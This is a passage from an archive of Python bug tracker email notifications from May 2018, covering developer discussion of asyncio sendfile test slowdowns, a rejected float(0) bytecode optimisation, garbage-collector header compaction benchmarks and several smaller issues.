29 08:49:06 2018 From: report at bugs.python.org (Xavier de Gaye) Date: Tue, 29 May 2018 12:49:06 +0000 Subject: [issue13886] readline-related test_builtin failure In-Reply-To: <1327659819.71.0.475160045664.issue13886@psf.upfronthosting.co.za> Message-ID: <1527598146.97.0.682650639539.issue13886@psf.upfronthosting.co.za> Xavier de Gaye added the comment: All checks have passed on PR 7133, even on macOs, and the PR is ready to be reviewed :-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 08:50:46 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 12:50:46 +0000 Subject: [issue33682] Optimize the bytecode for float(0) ? In-Reply-To: <1527598032.12.0.682650639539.issue33682@psf.upfronthosting.co.za> Message-ID: <1527598246.3.0.682650639539.issue33682@psf.upfronthosting.co.za> STINNER Victor added the comment: float and int names can be replaced in the current namespace, so you cannot implement such optimization :-( http://fatoptimizer.readthedocs.io/en/latest/optimizations.html#call-pure http://fatoptimizer.readthedocs.io/en/latest/semantics.html#builtin-functions-replaced-in-the-middle-of-a-function Example in the REPL: >>> float=bool >>> float(0) False >>> int=len >>> int("hello world!") 12 I suggest to close this issue as NOTABUG. You need to implement guards at runtime to implement such optimizations without breaking the Python semantics. It is exactly what I implemented in my FAT Python project: https://faster-cpython.readthedocs.io/fat_python.html ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 08:54:24 2018 From: report at bugs.python.org (Steven D'Aprano) Date: Tue, 29 May 2018 12:54:24 +0000 Subject: [issue33682] Optimize the bytecode for float(0) ? In-Reply-To: <1527598032.12.0.682650639539.issue33682@psf.upfronthosting.co.za> Message-ID: <1527598464.57.0.682650639539.issue33682@psf.upfronthosting.co.za> Steven D'Aprano added the comment: I'm sorry, it isn't clear what optimizations for float(X) and int(X) you are referring to. I can only guess that you want to optimize: float(0) to use LOAD_CONST 0.0 instead of calling the float() function. If that is what you want, we can't do that because float() may have been shadowed or replaced. Optimizing 1+1 is safe because it involves only literals and operators, no name look-ups. If that is not what you want, please explain what optimization you are referring to. ---------- nosy: +steven.daprano _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 09:01:15 2018 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Tue, 29 May 2018 13:01:15 +0000 Subject: [issue33682] Optimize the bytecode for float(0) ? In-Reply-To: <1527598032.12.0.682650639539.issue33682@psf.upfronthosting.co.za> Message-ID: <1527598875.2.0.682650639539.issue33682@psf.upfronthosting.co.za> St?phane Wirtel added the comment: @Victor, Thanks and you are right, int and float are not keywords of Python, in this case, we can override them. @Steven, in fact, the optimization was, when you see float/int (if they are keywords), don't call the function via the bytecode. Thanks and I close this issue. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 09:01:34 2018 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Tue, 29 May 2018 13:01:34 +0000 Subject: [issue33682] Optimize the bytecode for float(0) ? In-Reply-To: <1527598032.12.0.682650639539.issue33682@psf.upfronthosting.co.za> Message-ID: <1527598894.97.0.682650639539.issue33682@psf.upfronthosting.co.za> Change by St?phane Wirtel : ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 09:07:00 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 13:07:00 +0000 Subject: [issue33353] test_asyncio: test_sock_sendfile_mix_with_regular_send() hangs on FreeBSD In-Reply-To: <1524665310.44.0.682650639539.issue33353@psf.upfronthosting.co.za> Message-ID: <1527599220.31.0.682650639539.issue33353@psf.upfronthosting.co.za> STINNER Victor added the comment: Yury Selivanov made recent changes on sendfile(): bpo-32410, commit 7165754b6b5f3b7c07050d921fa1c58bba5f0ff1. I ran the following command on my FreeBSD VM: ./python -m test test_asyncio -m '*sendfile*' -v Results: * master (commit 73cbe7a01a22d02dbe1ec841e8779c775cad3d08): 22 min 28 sec (!!!) * PR 7200 with BUF_SIZE = 1 KiB: 47 sec * PR 7200 with BUF_SIZE = 4 KiB: 12 sec ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 09:14:04 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 13:14:04 +0000 Subject: [issue33353] test_asyncio: test_sock_sendfile_mix_with_regular_send() hangs on FreeBSD In-Reply-To: <1524665310.44.0.682650639539.issue33353@psf.upfronthosting.co.za> Message-ID: <1527599644.47.0.682650639539.issue33353@psf.upfronthosting.co.za> STINNER Victor added the comment: Timing at my previous commit b97de3dd86046ac46567146d86a69d4f78ea09db: 3 min 40 sec It seems like Yury's commit 7165754b6b5f3b7c07050d921fa1c58bba5f0ff1 made sendfile tests of test_asyncio 6x slower on FreeBSD :-( ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 09:22:15 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 13:22:15 +0000 Subject: [issue33353] test_asyncio: test_sock_sendfile_mix_with_regular_send() hangs on FreeBSD In-Reply-To: <1524665310.44.0.682650639539.issue33353@psf.upfronthosting.co.za> Message-ID: <1527600135.72.0.682650639539.issue33353@psf.upfronthosting.co.za> STINNER Victor added the comment: On my PR 7200, test_sendfile_close_peer_in_the_middle_of_receiving() fails on Windows (AppVeyor) :-( For the SelectorEventLoop, it seems like sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 1024) doesn't work as intented: sock.send(<16384 bytes>) returns 16384, as the 1024 limit is not taken in account :-( Same issue for the ProactorEventLoop... ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 09:36:47 2018 From: report at bugs.python.org (Eitan Adler) Date: Tue, 29 May 2018 13:36:47 +0000 Subject: [issue33597] Compact PyGC_Head In-Reply-To: <1526972782.65.0.682650639539.issue33597@psf.upfronthosting.co.za> Message-ID: <1527601007.66.0.682650639539.issue33597@psf.upfronthosting.co.za> Change by Eitan Adler : ---------- nosy: +eitan.adler _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 09:39:36 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 13:39:36 +0000 Subject: [issue33674] asyncio: race condition in SSLProtocol In-Reply-To: <1527589688.39.0.682650639539.issue33674@psf.upfronthosting.co.za> Message-ID: Yury Selivanov added the comment: yes, the method is idempotent. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 09:52:12 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 13:52:12 +0000 Subject: [issue33623] Fix possible SIGSGV when asyncio.Future is created in __del__ In-Reply-To: <1527101746.49.0.682650639539.issue33623@psf.upfronthosting.co.za> Message-ID: <1527601932.52.0.682650639539.issue33623@psf.upfronthosting.co.za> STINNER Victor added the comment: > Would be great to merge this in 3.7.0. The change is super safe to merge. The 3.7rc1 is not supposed to be tagged on the current 3.7 branch? ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 09:58:29 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 13:58:29 +0000 Subject: [issue33597] Compact PyGC_Head In-Reply-To: <1526972782.65.0.682650639539.issue33597@psf.upfronthosting.co.za> Message-ID: <1527602309.41.0.682650639539.issue33597@psf.upfronthosting.co.za> STINNER Victor added the comment: Are you sure that all memory allocators align at least on 8 bytes (to give up 3 unused bits)? I don't know the answer, it's an open question. ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 10:00:17 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Tue, 29 May 2018 14:00:17 +0000 Subject: [issue33597] Compact PyGC_Head In-Reply-To: <1526972782.65.0.682650639539.issue33597@psf.upfronthosting.co.za> Message-ID: <1527602417.72.0.682650639539.issue33597@psf.upfronthosting.co.za> Antoine Pitrou added the comment: > Are you sure that all memory allocators align at least on 8 bytes (to give up 3 unused bits)? If they don't then a simple double array will end up unaligned. It's not impossible but extremely unlikely. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 10:02:10 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 14:02:10 +0000 Subject: [issue33353] test_asyncio: test_sock_sendfile_mix_with_regular_send() hangs on FreeBSD In-Reply-To: <1524665310.44.0.682650639539.issue33353@psf.upfronthosting.co.za> Message-ID: <1527602530.16.0.682650639539.issue33353@psf.upfronthosting.co.za> STINNER Victor added the comment: New changeset 9551f7719213243fd96c4f284079243773c26b3c by Victor Stinner in branch 'master': bpo-33353: test_asyncio use set_write_buffer_limits() (GH-7200) https://github.com/python/cpython/commit/9551f7719213243fd96c4f284079243773c26b3c ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 10:02:46 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 29 May 2018 14:02:46 +0000 Subject: [issue33353] test_asyncio: test_sock_sendfile_mix_with_regular_send() hangs on FreeBSD In-Reply-To: <1524665310.44.0.682650639539.issue33353@psf.upfronthosting.co.za> Message-ID: <1527602566.34.0.682650639539.issue33353@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6837 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 10:07:06 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 14:07:06 +0000 Subject: [issue21327] socket.type value changes after using settimeout() In-Reply-To: <1398167707.44.0.251945553674.issue21327@psf.upfronthosting.co.za> Message-ID: <1527602826.44.0.682650639539.issue21327@psf.upfronthosting.co.za> Yury Selivanov added the comment: This issue is resolved in 3.7: https://bugs.python.org/issue32331 ---------- nosy: +yselivanov resolution: -> out of date stage: -> resolved status: open -> closed superseder: -> Fix socket.type on OSes with SOCK_NONBLOCK type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 10:07:11 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 14:07:11 +0000 Subject: [issue33683] asyncio: sendfile tests ignore SO_SNDBUF on Windows Message-ID: <1527602831.07.0.682650639539.issue33683@psf.upfronthosting.co.za> New submission from STINNER Victor : Follow-up of bpo-33353: On my PR 7200, test_sendfile_close_peer_in_the_middle_of_receiving() failed on Windows (AppVeyor) :-( For the SelectorEventLoop, it seems like sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 1024) doesn't work as intented: sock.send(<16384 bytes>) returns 16384, as the 1024 limit is not taken in account :-( Same issue for the ProactorEventLoop... I'm not sure if it's a bug in asyncio, a bug (limitation) of Windows which ignores SO_SNDBUF, or something else... ---------- components: Tests, Windows, asyncio messages: 318031 nosy: asvetlov, paul.moore, steve.dower, tim.golden, vstinner, yselivanov, zach.ware priority: normal severity: normal status: open title: asyncio: sendfile tests ignore SO_SNDBUF on Windows type: enhancement versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 10:08:13 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 14:08:13 +0000 Subject: [issue33353] test_asyncio: test_sock_sendfile_mix_with_regular_send() hangs on FreeBSD In-Reply-To: <1524665310.44.0.682650639539.issue33353@psf.upfronthosting.co.za> Message-ID: <1527602893.39.0.682650639539.issue33353@psf.upfronthosting.co.za> STINNER Victor added the comment: "On my PR 7200, test_sendfile_close_peer_in_the_middle_of_receiving() fails on Windows (AppVeyor) (...)" I worked around this bug in my commit 9551f7719213243fd96c4f284079243773c26b3c by using a buffer of 128 KiB instead of 64 KiB. I created the issue bpo-33683 to discuss this weird behaviour. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 10:08:54 2018 From: report at bugs.python.org (Malcolm Smith) Date: Tue, 29 May 2018 14:08:54 +0000 Subject: [issue29326] Blank lines in ._pth file are not ignored In-Reply-To: <1484844872.11.0.819349056222.issue29326@psf.upfronthosting.co.za> Message-ID: <1527602934.68.0.682650639539.issue29326@psf.upfronthosting.co.za> Malcolm Smith added the comment: > I'm not aware of any such issue with .pth files - the underscore in ._pth is deliberate. An identical issue *does* exist for .pth files. As you can see from examining site.addpackage, it does not ignore blank lines as the documentation says. Ammar's patch should also be applied. ---------- nosy: +Malcolm Smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 10:08:59 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 14:08:59 +0000 Subject: [issue33683] asyncio: sendfile tests ignore SO_SNDBUF on Windows In-Reply-To: <1527602831.07.0.682650639539.issue33683@psf.upfronthosting.co.za> Message-ID: <1527602939.17.0.682650639539.issue33683@psf.upfronthosting.co.za> STINNER Victor added the comment: The failure was: FAIL: test_sendfile_close_peer_in_the_middle_of_receiving (test.test_asyncio.test_events.ProactorEventLoopTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "C:\projects\cpython\lib\test\test_asyncio\test_events.py", line 2506, in test_sendfile_close_peer_in_the_middle_of_receiving self.file.tell()) AssertionError: False is not true : 65536 -- In bpo-33353, I worked around the bug in my commit 9551f7719213243fd96c4f284079243773c26b3c by using a buffer of 128 KiB instead of 64 KiB. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 10:18:01 2018 From: report at bugs.python.org (Matthias Kievernagel) Date: Tue, 29 May 2018 14:18:01 +0000 Subject: [issue3405] Add support for the new data option supported by event generate (Tk 8.5) In-Reply-To: <1216385566.01.0.7972232454.issue3405@psf.upfronthosting.co.za> Message-ID: <1527603480.99.0.682650639539.issue3405@psf.upfronthosting.co.za> Matthias Kievernagel added the comment: So I pulled, but it seems the CLA is stuck somewhere. Investigating... ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 10:21:49 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 29 May 2018 14:21:49 +0000 Subject: [issue33353] test_asyncio: test_sock_sendfile_mix_with_regular_send() hangs on FreeBSD In-Reply-To: <1524665310.44.0.682650639539.issue33353@psf.upfronthosting.co.za> Message-ID: <1527603709.47.0.682650639539.issue33353@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 441afbd9c3ae3a9f1d6c985c8aa13e6205ba080b by Miss Islington (bot) in branch '3.7': bpo-33353: test_asyncio use set_write_buffer_limits() (GH-7200) https://github.com/python/cpython/commit/441afbd9c3ae3a9f1d6c985c8aa13e6205ba080b ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 10:22:13 2018 From: report at bugs.python.org (Eric Snow) Date: Tue, 29 May 2018 14:22:13 +0000 Subject: [issue33607] [subinterpreters] Explicitly track object ownership (and allocator). In-Reply-To: <1527016778.74.0.682650639539.issue33607@psf.upfronthosting.co.za> Message-ID: <1527603733.13.0.682650639539.issue33607@psf.upfronthosting.co.za> Eric Snow added the comment: Note that I wouldn't call this issue absolutely specific to subinterpreters. The "ownership" part is, but tracking the allocator has practical application under a single interpreter. I suppose I could split this issue apart. I lumped the two together because I expected the solution would be the same for both. However, that's not necessarily the case. Would it help to open a separate issue for tracking the allocator? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 10:26:58 2018 From: report at bugs.python.org (Eric Snow) Date: Tue, 29 May 2018 14:26:58 +0000 Subject: [issue33615] test__xxsubinterpreters crashed on x86 Gentoo Refleaks 3.x In-Reply-To: <1527078316.31.0.682650639539.issue33615@psf.upfronthosting.co.za> Message-ID: <1527604018.53.0.682650639539.issue33615@psf.upfronthosting.co.za> Eric Snow added the comment: I haven't been able to reproduce the issue thus far. From the assert in the buildbot logs, it's clear that I've decref'ed an object one too many times. Given the relevant PR, it's probably something I changed in the channel implementation. It could also be something that wasn't triggered until the tests added in the PR. Any thoughts on what might be common to the 3 failing buildbots, such that they're the only ones to hit the assert? * x86 Gentoo Refleaks 3.x * ARMv7 Ubuntu 3.x * PPC64 AIX 3.x ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 10:29:39 2018 From: report at bugs.python.org (zhou.ronghua) Date: Tue, 29 May 2018 14:29:39 +0000 Subject: [issue33684] parse failed for mutibytes characters, encode will show in \xxx Message-ID: <1527604179.28.0.682650639539.issue33684@psf.upfronthosting.co.za> New submission from zhou.ronghua : when type this command in windows(xp or win7, all the same): python -m json.tool xxx.txt xxx.json if xxx.txt contains Chinese(or other multibytes characters): if xxx.txt is encoded in ansi, xxx.json will encode Chinese as \xxx, very bad to see what they are; if xxx.txt is encoded in utf8(without bom for most of the time), because with no bom, json.tool will think it is encoded in ansi, and decode fail. as now, utf8 is widely use, set default to utf8 for most of the time when auto detect encoding failed ---------- messages: 318039 nosy: zhou.ronghua priority: normal severity: normal status: open title: parse failed for mutibytes characters, encode will show in \xxx _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 10:31:13 2018 From: report at bugs.python.org (Roundup Robot) Date: Tue, 29 May 2018 14:31:13 +0000 Subject: [issue33684] parse failed for mutibytes characters, encode will show in \xxx In-Reply-To: <1527604179.28.0.682650639539.issue33684@psf.upfronthosting.co.za> Message-ID: <1527604273.65.0.682650639539.issue33684@psf.upfronthosting.co.za> Change by Roundup Robot : ---------- keywords: +patch pull_requests: +6838 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 10:44:15 2018 From: report at bugs.python.org (zhou.ronghua) Date: Tue, 29 May 2018 14:44:15 +0000 Subject: [issue33684] parse failed for mutibytes characters, encode will show in \xxx In-Reply-To: <1527604179.28.0.682650639539.issue33684@psf.upfronthosting.co.za> Message-ID: <1527605055.86.0.682650639539.issue33684@psf.upfronthosting.co.za> Change by zhou.ronghua : ---------- components: +Unicode nosy: +ezio.melotti, vstinner type: -> behavior versions: +Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 11:01:59 2018 From: report at bugs.python.org (Ronald Oussoren) Date: Tue, 29 May 2018 15:01:59 +0000 Subject: [issue33656] IDLE: Turn on DPI awareness on Windows In-Reply-To: <1527376490.94.0.682650639539.issue33656@psf.upfronthosting.co.za> Message-ID: <1527606118.99.0.682650639539.issue33656@psf.upfronthosting.co.za> Ronald Oussoren added the comment: I'm not a Windows expert, but looking that the API description [1] the patch is not entirely correct. The API takes an integer with 3 valid values, the patch effectively passes the value 1 (which means the application claims to be DPI aware, but won't scale itself when the DPI changes for some reason). The API can fail, but that shouldn't cause an exception as ctypes won't automaticly convert error return values to exceptions. P.S. The pull request seems to contain an unrelated change as well. [1] https://msdn.microsoft.com/en-us/library/windows/desktop/dn302122(v=vs.85).aspx ---------- nosy: +ronaldoussoren _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 11:04:18 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 15:04:18 +0000 Subject: [issue33197] Confusing error message when constructing invalid inspect.Parameters In-Reply-To: <1522566872.11.0.467229070634.issue33197@psf.upfronthosting.co.za> Message-ID: <1527606258.92.0.682650639539.issue33197@psf.upfronthosting.co.za> Yury Selivanov added the comment: New changeset a9cab433bbf02f3a1de59d14dc8f583181ffe2d5 by Yury Selivanov (Dong-hee Na) in branch 'master': bpo-33197: Update a error message of invalid inspect.Parameters. (GH-6636) https://github.com/python/cpython/commit/a9cab433bbf02f3a1de59d14dc8f583181ffe2d5 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 11:04:31 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 29 May 2018 15:04:31 +0000 Subject: [issue33197] Confusing error message when constructing invalid inspect.Parameters In-Reply-To: <1522566872.11.0.467229070634.issue33197@psf.upfronthosting.co.za> Message-ID: <1527606271.03.0.682650639539.issue33197@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6839 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 11:05:19 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 29 May 2018 15:05:19 +0000 Subject: [issue33197] Confusing error message when constructing invalid inspect.Parameters In-Reply-To: <1522566872.11.0.467229070634.issue33197@psf.upfronthosting.co.za> Message-ID: <1527606319.81.0.682650639539.issue33197@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6840 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 11:09:43 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 15:09:43 +0000 Subject: [issue33353] test_asyncio: test_sock_sendfile_mix_with_regular_send() hangs on FreeBSD In-Reply-To: <1524665310.44.0.682650639539.issue33353@psf.upfronthosting.co.za> Message-ID: <1527606583.53.0.682650639539.issue33353@psf.upfronthosting.co.za> Yury Selivanov added the comment: > It seems like Yury's commit 7165754b6b5f3b7c07050d921fa1c58bba5f0ff1 made sendfile tests of test_asyncio 6x slower on FreeBSD :-( Well, yeah, I kind of expected to see a performance regression here. Before, we were reading from a file directly, which is a blocking operation and can potentially block the event loop. Now we're using a thread pool to do the read, but its more overhead. In this case I think we have to do it the *correct* way, even if it means sacrificing the performance. As a workaround, I propose to rise the read buffer size to 1Mb. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 11:15:47 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 15:15:47 +0000 Subject: [issue32622] Implement loop.sendfile In-Reply-To: <1517080969.81.0.467229070634.issue32622@psf.upfronthosting.co.za> Message-ID: <1527606947.13.0.682650639539.issue32622@psf.upfronthosting.co.za> Yury Selivanov added the comment: Closing this issue. Open new ones to track regressions/bugs. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 11:16:15 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 15:16:15 +0000 Subject: [issue32610] asyncio.all_tasks() should return only non-finished tasks. In-Reply-To: <1516553125.63.0.467229070634.issue32610@psf.upfronthosting.co.za> Message-ID: <1527606975.09.0.682650639539.issue32610@psf.upfronthosting.co.za> Change by Yury Selivanov : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 11:16:35 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 15:16:35 +0000 Subject: [issue33623] Fix possible SIGSGV when asyncio.Future is created in __del__ In-Reply-To: <1527101746.49.0.682650639539.issue33623@psf.upfronthosting.co.za> Message-ID: <1527606995.89.0.682650639539.issue33623@psf.upfronthosting.co.za> Change by Yury Selivanov : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 11:17:16 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 15:17:16 +0000 Subject: [issue33674] asyncio: race condition in SSLProtocol In-Reply-To: <1527539838.3.0.682650639539.issue33674@psf.upfronthosting.co.za> Message-ID: <1527607036.11.0.682650639539.issue33674@psf.upfronthosting.co.za> Yury Selivanov added the comment: Closing this one. Please open new issues to track regressions. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 11:17:35 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 15:17:35 +0000 Subject: [issue33469] RuntimeError after closing loop that used run_in_executor In-Reply-To: <1526111588.74.0.682650639539.issue33469@psf.upfronthosting.co.za> Message-ID: <1527607055.49.0.682650639539.issue33469@psf.upfronthosting.co.za> Change by Yury Selivanov : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 11:21:45 2018 From: report at bugs.python.org (Dong-hee Na) Date: Tue, 29 May 2018 15:21:45 +0000 Subject: [issue33197] Confusing error message when constructing invalid inspect.Parameters In-Reply-To: <1522566872.11.0.467229070634.issue33197@psf.upfronthosting.co.za> Message-ID: <1527607305.72.0.682650639539.issue33197@psf.upfronthosting.co.za> Change by Dong-hee Na : ---------- pull_requests: +6841 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 11:29:12 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 15:29:12 +0000 Subject: [issue30945] loop.create_server does not detect if the interface is IPv6 enabled In-Reply-To: <1500285874.65.0.183073718331.issue30945@psf.upfronthosting.co.za> Message-ID: <1527607752.82.0.682650639539.issue30945@psf.upfronthosting.co.za> Yury Selivanov added the comment: > asyncio is picking ipv6 because of this code: > https://github.com/python/cpython/blob/a445feb72902e4a3c5ae712f0c289309e1580d52/Lib/asyncio/base_events.py#L1334-L1340 > despite my host not actually having an ipv6 network hooked up. Which should be fine; create_server enumerates all addresses and tries to connect to each one. IPV6_V6ONLY is only applied to one socket for one IPv6 address. I think Antoine's patch is OK. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 11:40:38 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 15:40:38 +0000 Subject: [issue30945] loop.create_server does not detect if the interface is IPv6 enabled In-Reply-To: <1500285874.65.0.183073718331.issue30945@psf.upfronthosting.co.za> Message-ID: <1527608438.85.0.682650639539.issue30945@psf.upfronthosting.co.za> Change by Yury Selivanov : ---------- pull_requests: +6842 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 11:43:57 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 15:43:57 +0000 Subject: [issue33197] Confusing error message when constructing invalid inspect.Parameters In-Reply-To: <1522566872.11.0.467229070634.issue33197@psf.upfronthosting.co.za> Message-ID: <1527608637.47.0.682650639539.issue33197@psf.upfronthosting.co.za> Yury Selivanov added the comment: New changeset cb055bcc2bbfa5dcc6b0332305918a2118d9ebbc by Yury Selivanov (Miss Islington (bot)) in branch '3.7': bpo-33197: Update a error message of invalid inspect.Parameters. (GH-6636) (GH-7204) https://github.com/python/cpython/commit/cb055bcc2bbfa5dcc6b0332305918a2118d9ebbc ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 11:45:28 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 15:45:28 +0000 Subject: [issue33678] selector_events.BaseSelectorEventLoop.sock_connect should preserve socket type In-Reply-To: <1527587007.35.0.682650639539.issue33678@psf.upfronthosting.co.za> Message-ID: <1527608728.84.0.682650639539.issue33678@psf.upfronthosting.co.za> Yury Selivanov added the comment: Can you write a unittest that exposes the bug? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 11:50:13 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 29 May 2018 15:50:13 +0000 Subject: [issue33622] Fix and improve errors handling in the garbage collector In-Reply-To: <1527097280.42.0.682650639539.issue33622@psf.upfronthosting.co.za> Message-ID: <1527609013.09.0.682650639539.issue33622@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset c4653c9bf159c3919a50f4ced32eef713e7e764e by Serhiy Storchaka in branch 'master': bpo-33622: Add checks for exceptions leaks in the garbage collector. (GH-7126) https://github.com/python/cpython/commit/c4653c9bf159c3919a50f4ced32eef713e7e764e ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 11:56:15 2018 From: report at bugs.python.org (Dong-hee Na) Date: Tue, 29 May 2018 15:56:15 +0000 Subject: [issue33476] String index out of range in get_group(), email/_header_value_parser.py In-Reply-To: <1526172602.81.0.682650639539.issue33476@psf.upfronthosting.co.za> Message-ID: <1527609375.05.0.682650639539.issue33476@psf.upfronthosting.co.za> Dong-hee Na added the comment: @Cacadril Please send a pull request(PR) through CPython GitHub(https://github.com/python/cpython) It will be a great experience :) ---------- nosy: +corona10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 11:56:39 2018 From: report at bugs.python.org (Cheryl Sabella) Date: Tue, 29 May 2018 15:56:39 +0000 Subject: [issue30483] urllib.parse.parse_qsl does not handle unicode data properly In-Reply-To: <1495792186.98.0.218510408103.issue30483@psf.upfronthosting.co.za> Message-ID: <1527609399.05.0.682650639539.issue30483@psf.upfronthosting.co.za> Cheryl Sabella added the comment: Would you be able to include an example for recreating this? Looking at the code, it uses the ascii encoding for bytes (which can only contain ASCII literal characters) and should not be using that encoding for strings. Thanks! ---------- nosy: +cheryl.sabella stage: -> test needed type: -> behavior versions: +Python 3.7, Python 3.8 -Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 11:56:52 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Tue, 29 May 2018 15:56:52 +0000 Subject: [issue33597] Compact PyGC_Head In-Reply-To: <1526972782.65.0.682650639539.issue33597@psf.upfronthosting.co.za> Message-ID: <1527609412.22.0.682650639539.issue33597@psf.upfronthosting.co.za> Antoine Pitrou added the comment: Ok, I ran a subset of the benchmarks to record their memory footprint and got these results: master-mem.perf =============== Performance version: 0.6.2 Python version: 3.8.0a0 (64-bit) revision 73cbe7a Report on Linux-4.15.0-22-generic-x86_64-with-glibc2.9 Number of logical CPUs: 16 Start date: 2018-05-29 16:54:24.964539 End date: 2018-05-29 17:04:05.608437 methane-mem.perf ================ Performance version: 0.6.2 Python version: 3.8.0a0 (64-bit) revision 16c66ca Report on Linux-4.15.0-22-generic-x86_64-with-glibc2.9 Number of logical CPUs: 16 Start date: 2018-05-29 17:15:00.936857 End date: 2018-05-29 17:24:33.755119 +------------------------+-----------------+------------------+---------------+------------------------+ | Benchmark | master-mem.perf | methane-mem.perf | Change | Significance | +========================+=================+==================+===============+========================+ | 2to3 | 7121.8 kB | 6944.4 kB | 1.03x smaller | Significant 